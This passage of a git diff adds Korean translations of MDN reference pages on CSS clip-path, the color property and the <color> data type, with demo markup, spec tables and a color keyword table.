+ &lt;p class="shape7"&gt;
+ I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+ &lt;/p&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+ &lt;div class="container viewbox"&gt;
+ &lt;svg viewBox="0 0 192 192"&gt;
+ &lt;g class="shape7"&gt;
+ &lt;rect x="24" y="24" width="144" height="144" /&gt;
+ &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+ &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+ &lt;/g&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+
+ &lt;div class="note"&gt;clip-path: padding-box circle(25% at 25% 25%)&lt;/div&gt;
+ &lt;div class="row"&gt;
+ &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+ &lt;div class="container"&gt;
+ &lt;p class="shape8"&gt;
+ I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+ &lt;/p&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+ &lt;div class="container viewbox"&gt;
+ &lt;svg viewBox="0 0 192 192"&gt;
+ &lt;g class="shape8"&gt;
+ &lt;rect x="24" y="24" width="144" height="144" /&gt;
+ &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+ &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+ &lt;/g&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+
+ &lt;div class="note"&gt;clip-path: content-box circle(25% at 25% 25%)&lt;/div&gt;
+ &lt;div class="row"&gt;
+ &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+ &lt;div class="container"&gt;
+ &lt;p class="shape9"&gt;
+ I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+ &lt;/p&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+ &lt;div class="container viewbox"&gt;
+ &lt;svg viewBox="0 0 192 192"&gt;
+ &lt;g class="shape9"&gt;
+ &lt;rect x="24" y="24" width="144" height="144" /&gt;
+ &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+ &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+ &lt;/g&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css">html,body {
+ height: 100%;
+ box-sizing: border-box;
+ background: #EEE;
+}
+
+.grid {
+ width: 100%;
+ height: 100%;
+ display: flex;
+ font: 1em monospace;
+}
+
+.row {
+ display: flex;
+ flex: 1 auto;
+ flex-direction: row;
+ flex-wrap: wrap;
+}
+
+.col {
+ flex: 1 auto;
+}
+
+.cell {
+ margin: .5em;
+ padding: .5em;
+ background-color: #FFF;
+ overflow: hidden;
+ text-align: center;
+ flex: 1;
+}
+
+.note {
+ background: #fff3d4;
+ padding: 1em;
+ margin: .5em .5em 0;
+ font: .8em sans-serif;
+ text-align: left;
+ white-space: nowrap;
+}
+
+.note + .row .cell {
+ margin-top: 0;
+}
+
+.container {
+ display: inline-block;
+ border: 1px dotted grey;
+ position:relative;
+}
+
+.container:before {
+ content: 'margin';
+ position: absolute;
+ top: 2px;
+ left: 2px;
+ font: italic .6em sans-serif;
+}
+
+.viewbox {
+ box-shadow: 1rem 1rem 0 #EFEFEF inset, -1rem -1rem 0 #EFEFEF inset;
+}
+
+.container.viewbox:after {
+ content: 'viewbox';
+ position: absolute;
+ left: 1.1rem;
+ top: 1.1rem;
+ font: italic .6em sans-serif;
+}
+
+.cell span {
+ display: block;
+ margin-bottom: .5em;
+}
+
+p {
+ font-family: sans-serif;
+ background: #000;
+ color: pink;
+ margin: 2em;
+ padding: 3em 1em;
+ border: 1em solid pink;
+ width: 6em;
+}
+
+.none { clip-path: none; }
+.svg { clip-path: url(#myPath); }
+.svg2 { clip-path: path('M15,45 A30,30,0,0,1,75,45 A30,30,0,0,1,135,45 Q135,90,75,130 Q15,90,15,45 Z');}
+.shape1 { clip-path: circle(25%); }
+.shape2 { clip-path: circle(25% at 25% 25%); }
+.shape3 { clip-path: fill-box circle(25% at 25% 25%); }
+.shape4 { clip-path: stroke-box circle(25% at 25% 25%); }
+.shape5 { clip-path: view-box circle(25% at 25% 25%); }
+.shape6 { clip-path: margin-box circle(25% at 25% 25%); }
+.shape7 { clip-path: border-box circle(25% at 25% 25%); }
+.shape8 { clip-path: padding-box circle(25% at 25% 25%); }
+.shape9 { clip-path: content-box circle(25% at 25% 25%); }
+
+.defs {
+ width: 0;
+ height: 0;
+ margin: 0;
+}
+
+pre { margin-bottom: 0; }
+
+svg {
+ margin: 1em;
+ font-family: sans-serif;
+ width: 192px;
+ height: 192px;
+}
+
+svg rect {
+ stroke: pink;
+ stroke-width: 16px;
+}
+
+svg text {
+ fill: pink;
+ text-anchor: middle;
+}
+
+svg text.em {
+ font-style: italic;
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample("clip-path", "100%", 800, "", "", "example-outcome-frame")}}</p>
+
+<h3 id="완전한_예제">완전한 예제</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;img id="clipped" src="https://mdn.mozillademos.org/files/12668/MDN.svg"
+ alt="MDN logo"&gt;
+&lt;svg height="0" width="0"&gt;
+ &lt;defs&gt;
+ &lt;clipPath id="cross"&gt;
+ &lt;rect y="110" x="137" width="90" height="90"/&gt;
+ &lt;rect x="0" y="110" width="90" height="90"/&gt;
+ &lt;rect x="137" y="0" width="90" height="90"/&gt;
+ &lt;rect x="0" y="0" width="90" height="90"/&gt;
+ &lt;/clipPath&gt;
+ &lt;/defs&gt;
+&lt;/svg&gt;
+
+&lt;select id="clipPath"&gt;
+ &lt;option value="none"&gt;none&lt;/option&gt;
+ &lt;option value="circle(100px at 110px 100px)"&gt;circle&lt;/option&gt;
+ &lt;option value="url(#cross)" selected&gt;cross&lt;/option&gt;
+ &lt;option value="inset(20px round 20px)"&gt;inset&lt;/option&gt;
+ &lt;option value="path('M 0 200 L 0,110 A 110,90 0,0,1 240,100 L 200 340 z')"&gt;path&lt;/option&gt;
+&lt;/select&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">#clipped {
+ margin-bottom: 20px;
+ clip-path: url(#cross);
+}
+</pre>
+
+<div class="hidden">
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">var clipPathSelect = document.getElementById("clipPath");
+clipPathSelect.addEventListener("change", function (evt) {
+ document.getElementById("clipped").style.clipPath = evt.target.value;
+});
+</pre>
+</div>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("완전한_예제", 230, 250)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS Masks", "#the-clip-path", 'clip-path')}}</td>
+ <td>{{Spec2('CSS Masks')}}</td>
+ <td>Extends its application to HTML elements. The <code>clip-path</code> property replaces the deprecated {{cssxref("clip")}} property.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('SVG1.1', 'masking.html#ClipPathProperty', 'clip-path')}}</td>
+ <td>{{Spec2('SVG1.1')}}</td>
+ <td>Initial definition (applies to SVG elements only).</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS Shapes 2", "#supported-basic-shapes", 'path')}}</td>
+ <td>{{Spec2('CSS Shapes 2')}}</td>
+ <td>Defines <code>path()</code>.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.clip-path")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://hacks.mozilla.org/2017/06/css-shapes-clipping-and-masking/">Shapes in clipping and masking – and how to use them</a></li>
+ <li>CSS 속성: {{cssxref("mask")}}, {{cssxref("filter")}}</li>
+ <li><a href="/ko/docs/Web/SVG/Applying_SVG_effects_to_HTML_content">HTML 콘텐츠에 SVG 효과 적용하기</a></li>
+ <li>SVG 속성: {{SVGAttr("clip-path")}}, {{SVGAttr("clip-rule")}}</li>
+</ul>
diff --git a/files/ko/web/css/color/index.html b/files/ko/web/css/color/index.html
new file mode 100644
index 0000000000..7fe1cd0ba9
--- /dev/null
+++ b/files/ko/web/css/color/index.html
@@ -0,0 +1,163 @@
+---
+title: color
+slug: Web/CSS/color
+tags:
+ - CSS
+ - CSS Colors
+ - CSS Property
+ - CSS Text
+ - Layout
+ - Reference
+ - Web
+ - 색
+translation_of: Web/CSS/color
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>color</code></strong> <a href="/ko/docs/Web/API/CSS">CSS</a> 속성은 요소의 글씨 및 <a href="/ko/docs/Web/CSS/text-decoration">글씨 장식</a>의 전경색과 {{cssxref("currentcolor")}}의 값을 설정합니다.</span> <code>currentcolor</code>는 다른 속성에서 사용할 수 있는 간접적인 값이며, {{cssxref("border-color")}} 등 일부 속성의 기본값입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/color.html")}}</div>
+
+
+
+<p>HTML에서 색을 사용하는 법은 <a href="/ko/docs/Web/HTML/Applying_color">CSS로 HTML 요소에 색입히기</a> 문서에서 정리한 내용으로 읽을 수 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers">/* 키워드 값 */
+color: currentcolor;
+
+/* &lt;named-color&gt; 값 */
+color: red;
+color: orange;
+color: tan;
+color: rebeccapurple;
+
+/* &lt;hex-color&gt; 값 */
+color: #090;
+color: #009900;
+color: #090a;
+color: #009900aa;
+
+/* &lt;rgb()&gt; 값 */
+color: rgb(34, 12, 64, 0.6);
+color: rgba(34, 12, 64, 0.6);
+color: rgb(34 12 64 / 0.6);
+color: rgba(34 12 64 / 0.3);
+color: rgb(34.0 12 64 / 60%);
+color: rgba(34.6 12 64 / 30%);
+
+/* &lt;hsl()&gt; 값 */
+color: hsl(30, 100%, 50%, 0.6);
+color: hsla(30, 100%, 50%, 0.6);
+color: hsl(30 100% 50% / 0.6);
+color: hsla(30 100% 50% / 0.6);
+color: hsl(30.0 100% 50% / 60%);
+color: hsla(30.2 100% 50% / 60%);
+
+/* 전역 값 */
+color: inherit;
+color: initial;
+color: unset;
+</pre>
+
+<p><code>color</code> 속성은 하나의 {{cssxref("&lt;color&gt;")}} 값을 사용해 지정합니다.</p>
+
+<p>값이 단일 색상이어야 함에 주의하세요. {{cssxref("&lt;gradient&gt;")}}는 사실 {{cssxref("&lt;image&gt;")}} 자료형이기 때문에 사용할 수 없습니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;color&gt;")}}</dt>
+ <dd>요소의 글씨와 장식 부분의 색.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>아래 예제 모두 글씨를 빨갛게 만듭니다.</p>
+
+<pre class="brush: css">p { color: red; }
+p { color: #f00; }
+p { color: #ff0000; }
+p { color: rgb(255,0,0); }
+p { color: rgb(100%, 0%, 0%); }
+p { color: hsl(0, 100%, 50%); }
+
+/* 50% 투명 */
+p { color: rgba(255, 0, 0, 0.5); }
+p { color: hsla(0, 100%, 50%, 0.5); }
+</pre>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>낮은 시력을 가진 사용자도 페이지의 콘텐츠를 읽을 수 있도록 글자 색과 배경색의 대비를 높게 유지하는 것이 중요합니다.</p>
+
+<p>색 대비율은 배경색과 투명도를 적용한 글자 색의 밝기를 비교해서 얻어낼 수 있습니다. 현재 <a href="https://www.w3.org/WAI/standards-guidelines/wcag/" rel="noopener">웹 콘텐츠 접근성 가이드라인</a>(WCAG)을 만족하려면, 텍스트 콘텐츠는 4.5:1, 제목 등 큰 텍스트는 3:1의 대비율이 필요합니다. 큰 텍스트란 18.66px 이상의 <a href="/ko/docs/Web/CSS/font-weight">굵은</a> 글씨 혹은 24px 이상의 텍스트로 정의하고 있습니다.</p>
+
+<ul>
+ <li><a href="https://webaim.org/resources/contrastchecker/">WebAIM: Color Contrast Checker</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-contrast.html">Understanding Success Criterion 1.4.3 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS4 Colors', '#the-color-property', 'color')}}</td>
+ <td>{{Spec2('CSS4 Colors')}}</td>
+ <td>Adds commaless syntaxes for the <code>rgb()</code>, <code>rgba()</code>, <code>hsl()</code>, and <code>hsla()</code> functions. Allows alpha values in <code>rgb()</code> and <code>hsl()</code>, turning <code>rgba()</code> and <code>hsla()</code> into (deprecated) aliases for them.<br>
+ Adds color keyword <code>rebeccapurple</code>.<br>
+ Adds 4- and 8-digit hex color values, where the last digit(s) represents the alpha value.<br>
+ Adds <code>hwb()</code>, <code>device-cmyk()</code>, and <code>color()</code> functions.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'color')}}</td>
+ <td>{{Spec2('CSS3 Transitions')}}</td>
+ <td>Defines <code>color</code> as animatable.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Colors', '#color', 'color')}}</td>
+ <td>{{Spec2('CSS3 Colors')}}</td>
+ <td>Deprecates system-colors. Adds SVG colors. Adds the <code>rgba()</code>, <code>hsl()</code>, and <code>hsla()</code> functions.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'colors.html#colors', 'color')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Adds the <code>orange</code> color and the system colors.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#color', 'color')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.color")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("&lt;color&gt;")}} 자료형</li>
+ <li>다른 색상 관련 속성: {{cssxref("background-color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, {{cssxref("caret-color")}}, {{cssxref("column-rule-color")}}, {{cssxref("color-adjust")}}</li>
+ <li><a href="/ko/docs/Web/HTML/Applying_color">CSS로 HTML 요소에 색입히기</a></li>
+</ul>
diff --git a/files/ko/web/css/color_value/index.html b/files/ko/web/css/color_value/index.html
new file mode 100644
index 0000000000..c176ddc056
--- /dev/null
+++ b/files/ko/web/css/color_value/index.html
@@ -0,0 +1,1374 @@
+---
+title: <color>
+slug: Web/CSS/color_value
+tags:
+ - CSS
+ - CSS Date Type
+ - Layout
+ - Reference
+ - Web
+translation_of: Web/CSS/color_value
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>&lt;color&gt;</code></strong> <a href="/ko/docs/Web/CSS/CSS_Types">자료형</a>은 <a href="https://ko.wikipedia.org/wiki/SRGB">sRGB 색 공간</a>의 한 색을 표현하며, 추가로 <a href="https://ko.wikipedia.org/wiki/%EC%95%8C%ED%8C%8C_%EC%B1%84%EB%84%90">알파 채널</a> 투명도 값도 가질 수 있어 자신이 가리키는 색상과 배경이 <a href="https://www.w3.org/TR/2003/REC-SVG11-20030114/masking.html#SimpleAlphaBlending">어떻게 합성되어야 하는지</a> 지정할 수 있습니다.</p>
+
+<p><code>&lt;color&gt;</code>는 다음 방법으로 정의할 수 있습니다.</p>
+
+<ul>
+ <li>키워드 사용 (<code>blue</code>, <code>transparent</code> 등)</li>
+ <li>RGB 3차원 좌표계 사용 (# + 16진수 표기법 또는 <code>rgb()</code>, <code>rgba()</code>의 함수형 표기법)</li>
+ <li>HSL 실린더형 좌표계 사용 (<code>hsl()</code>, <code>hsla()</code>의 함수형 표기법)</li>
+</ul>
+
+<div class="note">
+<p><strong>참고:</strong> 이 글은 <code>&lt;color&gt;</code> 자료형에 대해 상세히 기술합니다. HTML에서 실제로 색을 쓰는 법이 더 알고 싶으시면 <a href="/ko/docs/Web/HTML/Applying_color">CSS로 HTML 요소에 색 입히기</a>를 참고하세요.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<p><code>&lt;color&gt;</code> 자료형은 아래 나열된 선택지 중 하나를 사용해 지정합니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> <code>&lt;color&gt;</code> 값은 정확하게 정의할 수 있지만 실제로 화면에 표시될 때는 기기별로 차이가 있을 수도 있습니다. 대부분의 화면 색이 제대로 조정되지 않았으며 일부 브라우저는 기기의 <a href="https://ko.wikipedia.org/wiki/ICC_%ED%94%84%EB%A1%9C%ED%8C%8C%EC%9D%BC">색상 프로필</a>을 지원하지 않기 때문입니다.</p>
+</div>
+
+<h3 id="색상_키워드">색상 키워드</h3>
+
+<p>색상 키워드는 대소문자를 구분하지 않는 식별자로, <code>red</code>, <code>blue</code>, <code>black</code>, <code>lightseagreen</code>처럼 특정 색을 나타냅니다. 이름이 표현하는 색을 그럭저럭 가리키고 있긴 하지만 모든 키워드의 본질은 인위적이며 어떤 특정한 규칙을 따르거나 하지 않습니다.</p>
+
+<p>색상 키워드를 사용할 땐 몇 가지 고려할 점이 있습니다.</p>
+
+<ul>
+ <li><a href="/ko/docs/Web/HTML">HTML</a>은 CSS1에서 찾을 수 있는 16가지 기본 색상만 인식합니다. 알 수 없는 값은 특정 알고리즘을 사용해 변환하는데 그 결과는 대개 완전히 다른 색입니다. 나머지 색상 키워드는 CSS와 <a href="/ko/docs/Web/SVG">SVG</a>에서만 사용해야 합니다.</li>
+ <li>HTML과 달리 CSS는 알 수 없는 키워드를 완전히 무시합니다.</li>
+ <li>모든 색상 키워드는 투명도 없는 단일 색상을 표현합니다.</li>
+ <li>어떤 키워드는 다른 키워드의 다른 이름입니다.
+ <ul>
+ <li><code>aqua</code> / <code>cyan</code></li>
+ <li><code>fuchsia</code> / <code>magenta</code></li>
+ <li><code>darkgray</code> / <code>darkgrey</code></li>
+ <li><code>darkslategray</code> / <code>darkslategrey</code></li>
+ <li><code>dimgray</code> / <code>dimgrey</code></li>
+ <li><code>lightgray</code> / <code>lightgrey</code></li>
+ <li><code>lightslategray</code> / <code>lightslategrey</code></li>
+ <li><code>gray</code> / <code>grey</code></li>
+ <li><code>slategray</code> / <code>slategrey</code></li>
+ </ul>
+ </li>
+ <li>많은 키워드를 <a href="https://ko.wikipedia.org/wiki/X_%EC%9C%88%EB%8F%84_%EC%8B%9C%EC%8A%A4%ED%85%9C">X11</a>에서 가져오긴 했지만, 제조사들이 X11 색상을 특정 하드웨어에 맞춰 조절한 경우도 있었기에 RGB값은 차이가 존재할 수 있습니다.</li>
+</ul>
+
+<div class="note">
+<p><strong>참고:</strong> CSS의 진화와 함께 색상 키워드도 많은 변화를 겪었습니다.</p>
+
+<ul>
+ <li>CSS Level 1은 16개의 기본 색상만 지니고 있었습니다. VGA 그래픽 카드가 표현할 수 있는 색에서 가져온 것이기에 <a href="https://ko.wikipedia.org/wiki/%EB%B9%84%EB%94%94%EC%98%A4_%EA%B7%B8%EB%9E%98%ED%94%BD%EC%8A%A4_%EC%96%B4%EB%A0%88%EC%9D%B4">VGA</a> 색상이라고 칭했습니다.</li>
+ <li>CSS Level 2에서는 <code>orange</code> 키워드를 추가했습니다.</li>
+ <li>초기 브라우저들은 명세에 없음에도 불구하고 주로 X11 색상표에서 가져온 다양한 색상을 지원했습니다. 그러나 SVG 1.0과 CSS Colors Level 3 이전까지 그 목록이 정식으로 정해진 적은 없었습니다. 추가한 색상 키워드는 확장 색상 키워드, X11 색상, 또는 SVG 색상이라고 부릅니다.</li>
+ <li>CSS Colors Level 4에선 <a href="https://codepen.io/trezy/post/honoring-a-great-man">웹 개척자 에릭 메이어를 기리기 위해</a> <code>rebeccapurple</code> 키워드를 추가했습니다.</li>
+</ul>
+</div>
+
+<table id="colors_table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">키워드</th>
+ <th scope="col">RGB 16진수값</th>
+ <th scope="col">미리보기</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr style="position: relative;">
+ <td rowspan="16">{{SpecName("CSS1")}}</td>
+ <td style="text-align: center;"><code>black</code></td>
+ <td><code>#000000</code></td>
+ <td style="background: black;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>silver</code></td>
+ <td><code>#c0c0c0</code></td>
+ <td style="background: silver;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>gray</code></td>
+ <td><code>#808080</code></td>
+ <td style="background: gray;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>white</code></td>
+ <td><code>#ffffff</code></td>
+ <td style="background: white;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>maroon</code></td>
+ <td><code>#800000</code></td>
+ <td style="background: maroon;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>red</code></td>
+ <td><code>#ff0000</code></td>
+ <td style="background: red;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>purple</code></td>
+ <td><code>#800080</code></td>
+ <td style="background: purple;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>fuchsia</code></td>
+ <td><code>#ff00ff</code></td>
+ <td style="background: fuchsia;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>green</code></td>
+ <td><code>#008000</code></td>
+ <td style="background: green;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>lime</code></td>
+ <td><code>#00ff00</code></td>
+ <td style="background: lime;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>olive</code></td>
+ <td><code>#808000</code></td>
+ <td style="background: olive;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>yellow</code></td>
+ <td><code>#ffff00</code></td>
+ <td style="background: yellow;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>navy</code></td>
+ <td><code>#000080</code></td>
+ <td style="background: navy;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>blue</code></td>
+ <td><code>#0000ff</code></td>
+ <td style="background: blue;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>teal</code></td>
+ <td><code>#008080</code></td>
+ <td style="background: teal;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>aqua</code></td>
+ <td><code>#00ffff</code></td>
+ <td style="background: aqua;"></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS2.1")}}</td>
+ <td style="text-align: center;"><code>orange</code></td>
+ <td><code>#ffa500</code></td>
+ <td style="background: orange;"></td>
+ </tr>
+ <tr>
+ <td rowspan="130">{{SpecName("CSS3 Colors")}}</td>
+ <td style="text-align: center;"><code>aliceblue</code></td>
+ <td><code>#f0f8ff</code></td>
+ <td style="background: aliceblue;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>antiquewhite</code></td>
+ <td><code>#faebd7</code></td>
+ <td style="background: antiquewhite;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>aquamarine</code></td>
+ <td><code>#7fffd4</code></td>
+ <td style="background: aquamarine;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>azure</code></td>
+ <td><code>#f0ffff</code></td>
+ <td style="background: azure;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>beige</code></td>
+ <td><code>#f5f5dc</code></td>
+ <td style="background: beige;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>bisque</code></td>
+ <td><code>#ffe4c4</code></td>
+ <td style="background: bisque;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>blanchedalmond</code></td>
+ <td><code>#ffebcd</code></td>
+ <td style="background: blanchedalmond;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>blueviolet</code></td>
+ <td><code>#8a2be2</code></td>
+ <td style="background: blueviolet;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>brown</code></td>
+ <td><code>#a52a2a</code></td>
+ <td style="background: brown;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>burlywood</code></td>
+ <td><code>#deb887</code></td>
+ <td style="background: burlywood;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>cadetblue</code></td>
+ <td><code>#5f9ea0</code></td>
+ <td style="background: cadetblue;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>chartreuse</code></td>
+ <td><code>#7fff00</code></td>
+ <td style="background: chartreuse;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>chocolate</code></td>
+ <td><code>#d2691e</code></td>
+ <td style="background: chocolate;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>coral</code></td>
+ <td><code>#ff7f50</code></td>
+ <td style="background: coral;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>cornflowerblue</code></td>
+ <td><code>#6495ed</code></td>
+ <td style="background: cornflowerblue;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>cornsilk</code></td>
+ <td><code>#fff8dc</code></td>
+ <td style="background: cornsilk;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>crimson</code></td>
+ <td><code>#dc143c</code></td>
+ <td style="background: crimson;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>cyan</code><br>
+ (<code>aqua</code>의 다른 이름)</td>
+ <td><code>#00ffff</code></td>
+ <td style="background: cyan;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>darkblue</code></td>
+ <td><code>#00008b</code></td>
+ <td style="background: darkblue;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>darkcyan</code></td>
+ <td><code>#008b8b</code></td>
+ <td style="background: darkcyan;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>darkgoldenrod</code></td>
+ <td><code>#b8860b</code></td>
+ <td style="background: darkgoldenrod;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>darkgray</code></td>
+ <td><code>#a9a9a9</code></td>
+ <td style="background: darkgray;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>darkgreen</code></td>
+ <td><code>#006400</code></td>
+ <td style="background: darkgreen;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>darkgrey</code></td>
+ <td><code>#a9a9a9</code></td>
+ <td style="background: darkgrey;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>darkkhaki</code></td>
+ <td><code>#bdb76b</code></td>
+ <td style="background: darkkhaki;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>darkmagenta</code></td>
+ <td><code>#8b008b</code></td>
+ <td style="background: darkmagenta;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>darkolivegreen</code></td>
+ <td><code>#556b2f</code></td>
+ <td style="background: darkolivegreen;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>darkorange</code></td>
+ <td><code>#ff8c00</code></td>
+ <td style="background: darkorange;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>darkorchid</code></td>
+ <td><code>#9932cc</code></td>
+ <td style="background: darkorchid;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>darkred</code></td>
+ <td><code>#8b0000</code></td>
+ <td style="background: darkred;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>darksalmon</code></td>
+ <td><code>#e9967a</code></td>
+ <td style="background: darksalmon;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>darkseagreen</code></td>
+ <td><code>#8fbc8f</code></td>
+ <td style="background: darkseagreen;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>darkslateblue</code></td>
+ <td><code>#483d8b</code></td>
+ <td style="background: darkslateblue;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>darkslategray</code></td>
+ <td><code>#2f4f4f</code></td>
+ <td style="background: darkslategray;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>darkslategrey</code></td>
+ <td><code>#2f4f4f</code></td>
+ <td style="background: darkslategrey;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>darkturquoise</code></td>
+ <td><code>#00ced1</code></td>
+ <td style="background: darkturquoise;"></td>
+ </tr>
+ <tr>
